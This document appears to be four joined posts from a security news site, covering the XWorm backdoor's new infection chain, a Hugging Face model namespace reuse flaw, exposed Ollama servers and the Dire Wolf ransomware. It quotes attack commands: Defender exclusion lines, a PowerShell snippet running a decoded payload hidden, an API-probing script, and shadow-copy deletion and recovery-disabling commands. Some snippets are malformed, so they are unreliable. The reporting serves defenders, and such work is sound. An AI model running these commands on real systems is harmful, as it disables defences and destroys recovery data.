Emerging quietly in mid-2025, the XWorm backdoor has evolved into a deceptively sophisticated threat that preys on both user confidence and system conventions.

Initial reports surfaced when organizations noted a sudden uptick in obscure .lnk-based phishing emails masquerading as benign documents.

Security teams quickly observed that these shortcuts triggered hidden PowerShell routines rather than opening any expected files, suggesting the emergence of a new infection chain.

Within days, enterprises across multiple sectors reported anomalous network connections to unfamiliar IP addresses, hinting at an active Command and Control (C2) infrastructure.

As the campaign gained momentum, Trellix analysts identified a notable departure from XWorm’s earlier, more predictable methods.

Gone were the simplistic batch scripts and obvious VBScript payloads; instead, the attackers now deploy a multi-stage mechanism that leverages both social engineering and technical subterfuge.

The initial .lnk file, often delivered via targeted spear-phishing, drops a benign-looking text artifact before silently fetching “discord.exe” from a remote host.

Upon execution, this .NET-based executable unpacks and launches two additional components—main.exe and system32.exe—with the latter serving as the core XWorm payload.

Once system32.exe takes hold, it performs rigorous environment checks, aborting if it detects a sandbox or virtual machine.

If the host is deemed genuine, the malware duplicates itself as Xclient.exe and establishes persistence by creating both a scheduled task and a registry Run key.

System defenses are methodically dismantled: Windows Firewall policies are disabled via modifications to HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\DisableFirewall, while PowerShell execution policies are bypassed to white-list the malicious processes.

ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\Temp\discord.exe"
ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess "Xclient.exe"

These commands ensure XWorm operates under minimal scrutiny, allowing unfettered access to the compromised environment.

Infection Mechanism and Deployment

The heart of XWorm’s new chain lies in its ingenious use of base64 encoding combined with Rijndael decryption, allowing the payload to remain concealed until execution.

The initial .lnk file embeds a base64 string that decodes into a one-line PowerShell command.

This command retrieves “discord.exe” from hxxp://85[.]203[.]4[.]232:5000/Discord.exe, saving it to the Temp directory before launching it stealthily.

$payload = "ZG93bmxvYWQgZnJvbSAgaHR0cDovLzg1LjIwMy4zLjIzMjo1MDAwL0Rpc2NvcmQuZXhl"
[IO.File]::WriteAllBytes("$env:TEMP\discord.exe", [Convert]::FromBase64String($payload))
Start-Process "$env:TEMP\discord.exe" -WindowStyle Hidden

After activation, discord.exe drops main.exe and system32.exe, each packed with advanced obfuscation techniques to thwart static analysis.

Main.exe’s resource section harbors embedded Python modules, while system32.exe implements early TLS callbacks to execute critical code before any security hooks can intervene.

This layered approach not only complicates detection but ensures that each component reinforces the next, yielding a resilient, stealth-focused infection chain that challenges conventional defense strategies.

Through this evolution, XWorm demonstrates how blending social engineering, multi-stage payload delivery, and sophisticated cryptographic concealment can enable adversaries to outpace existing detection technologies, maintaining both stealth and persistence within targeted networks.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post XWorm Malware With New Infection Chain Evade Detection Exploiting User and System Trust appeared first on Cyber Security News.

Cybersecurity researchers have uncovered a critical vulnerability in the artificial intelligence supply chain that enables attackers to achieve remote code execution across major cloud platforms including Microsoft Azure AI Foundry, Google Vertex AI, and thousands of open-source projects.

The newly discovered attack method, termed “Model Namespace Reuse,” exploits a fundamental flaw in how AI platforms manage and trust model identifiers within the Hugging Face ecosystem.

The vulnerability stems from Hugging Face’s namespace management system, where models are identified using a two-part naming convention: Author/ModelName.

When organizations or authors delete their accounts from Hugging Face, their unique namespaces return to an available pool rather than becoming permanently reserved.

This creates an opportunity for malicious actors to register previously used namespaces and upload compromised models under trusted names, potentially affecting any system that references models by name alone.

Palo Alto Networks analysts identified this supply chain attack vector during an extensive investigation of AI platform security practices.

The research revealed that the vulnerability affects not only direct integrations with Hugging Face but also extends to major cloud AI services that incorporate Hugging Face models into their catalogs.

The attack’s scope is particularly concerning given the widespread adoption of AI models across enterprise environments and the implicit trust placed in model naming conventions.

The attack mechanism operates through two primary scenarios. In the first, when a model author’s account is deleted, the namespace becomes immediately available for re-registration.

The second scenario involves ownership transfers where models are moved to new organizations, followed by deletion of the original author account.

In both cases, malicious actors can exploit the namespace reuse to substitute legitimate models with compromised versions containing malicious payloads.

Technical Implementation and Attack Vectors

The researchers demonstrated the vulnerability’s practical impact through controlled proof-of-concept attacks against Google Vertex AI and Microsoft Azure AI Foundry.

In their testing, they successfully registered abandoned namespaces and uploaded models embedded with reverse shell payloads.

The malicious code executed automatically when cloud platforms deployed these seemingly legitimate models, granting attackers access to underlying infrastructure.

from transformers import AutoTokenizer, AutoModelForCausalLM

# Vulnerable code pattern found in thousands of repositories
tokenizer = AutoTokenizer.from_pretrained("AIOrg/Translator_v1")
model = AutoModelForCausalLM.from_pretrained("AIOrg/Translator_v1")

The attack’s effectiveness lies in its exploitation of automated deployment processes. When platforms like Vertex AI’s Model Garden or Azure AI Foundry’s Model Catalog reference models by name, they inadvertently create persistent attack surfaces.

The researchers documented gaining access to dedicated containers with elevated permissions within Google Cloud Platform and Azure environments, demonstrating the severity of potential breaches.

Organizations can mitigate this risk through version pinning, implementing the revision parameter to lock models to specific commits, and establishing controlled storage environments for critical AI assets.

The discovery underscores the urgent need for comprehensive security frameworks addressing AI supply chain vulnerabilities as organizations increasingly integrate machine learning capabilities into production systems.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post New Namespace Reuse Vulnerability Allows Remote Code Execution in Microsoft Azure AI, Google Vertex AI, and Hugging Face appeared first on Cyber Security News.

A comprehensive security investigation has uncovered a disturbing reality in the artificial intelligence infrastructure landscape: more than 1,100 instances of Ollama, a popular framework for running large language models locally, have been discovered exposed directly to the internet.

This widespread exposure represents a significant security breach that affects organizations across multiple countries and continents.

The discovery emerged from systematic scanning efforts that revealed these servers operating without proper security controls, authentication mechanisms, or network perimeter protection.

What makes this situation particularly concerning is that approximately 20% of these exposed instances were found to be actively serving models, making them immediately exploitable by malicious actors.

The remaining 80%, while classified as inactive, still present substantial security risks through various attack vectors.

Meterpreter analysts identified this vulnerability through comprehensive Shodan scanning techniques, revealing the global scope of the problem.

The geographical distribution shows the United States leading with 36.6% of exposed instances, followed by China at 22.5% and Germany contributing 8.9% of the compromised systems.

This distribution pattern reflects systemic security oversights in AI infrastructure deployment across major technology markets.

The scanning results revealed concerning technical details about the exposed systems. Among active instances, researchers documented various model deployments including mistral:latest (98 instances), llama3.1:8b (42 instances), and smaller models like smollm2:135m (16 instances).

These systems were found running without access controls, allowing unauthorized parties to send queries, extract model parameters, and potentially inject malicious content.

Exploitation Mechanisms and Attack Surface Analysis

The exposed Ollama servers present multiple exploitation pathways that security researchers have categorized into several critical attack vectors.

Model extraction represents one of the most sophisticated threats, where adversaries can systematically query exposed instances to reconstruct internal model weights and parameters.

This process involves sending carefully crafted prompts designed to reveal the underlying mathematical structures that define the model’s behavior.

# Example of systematic model probing
import requests
import json

def probe_ollama_instance(ip_address, model_name):
    url = f"http://{ip_address}:11434/api/generate"
    payload = {
        "model": model_name,
        "prompt": "Explain your architecture and parameters",
        "stream": False
    }
    response = requests. Post(url, json=payload)
    return response.json()

The vulnerability extends beyond simple unauthorized access to encompass backdoor injection capabilities, where attackers can upload malicious models or alter server configurations through exposed APIs.

This represents a particularly dangerous scenario where compromised systems could serve as distribution points for corrupted artificial intelligence models, potentially affecting downstream applications and services that rely on these resources.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post 1,100 Ollama AI Servers Exposed to Internet With 20% of Them are Vulnerable appeared first on Cyber Security News.

A sophisticated new ransomware strain known as Dire Wolf has emerged as a significant threat to organizations worldwide, combining advanced encryption techniques with destructive anti-recovery capabilities.

The malware group first appeared in May 2025 and has since targeted 16 organizations across diverse industries including manufacturing, IT, construction, and finance in regions spanning Asia, Australia, Italy, and the United States.

Dire Wolf employs a double extortion strategy that not only encrypts victims’ data but also threatens to leak sensitive information publicly.

The group operates through darknet leak sites and communicates with victims via the Tox messenger platform, stating that their primary motivation is financial gain.

Within just months of their emergence, they have demonstrated a sophisticated understanding of enterprise environments and recovery mechanisms.

ASEC analysts identified several distinctive characteristics that set Dire Wolf apart from other ransomware families.

The malware demonstrates advanced technical capabilities through its combination of Curve25519 key exchange with ChaCha20 stream encryption, creating unique session keys for each encrypted file.

This cryptographic approach effectively blocks all known decryption methods, leaving victims with no recovery options beyond negotiating with the attackers.

The ransomware’s execution begins with argument-based control mechanisms, utilizing command-line parameters such as -d for directory targeting and -h for help functions.

Upon initialization, it performs protection checks using the system-wide mutex Global\direwolfAppMutex and searches for the completion marker C:\runfinish.exe to prevent duplicate infections.

Advanced Anti-Recovery and Evasion Techniques

Dire Wolf’s most concerning feature lies in its systematic destruction of recovery infrastructure.

The malware implements a persistent event log deletion mechanism that continuously monitors and terminates the Windows event log service.

This process involves executing PowerShell commands to identify the eventlog service process ID through WMI queries:-

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

The malware then forcibly terminates the service using taskkill commands in an infinite loop, ensuring that even if administrators restart the service, it remains blocked throughout the attack.

Additionally, Dire Wolf systematically removes system restore points using commands like vssadmin delete shadows /all /quiet and disables Windows Recovery Environment through bcdedit /set {default} recoveryenabled No.

The ransomware proactively terminates critical processes including databases (MSSQL, Oracle), mail servers (Exchange), virtualization platforms (VMware), and backup software (Veeam, Veritas BackupExec).

After completing encryption, it creates the marker file, forces a system reboot with a 10-second delay, and executes a self-deletion routine to remove traces of the malicious executable, significantly complicating forensic analysis and incident response efforts.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post New Dire Wolf Ransomware Attack Windows Systems, Deletes Event Logs and Backup-Related Data appeared first on Cyber Security News.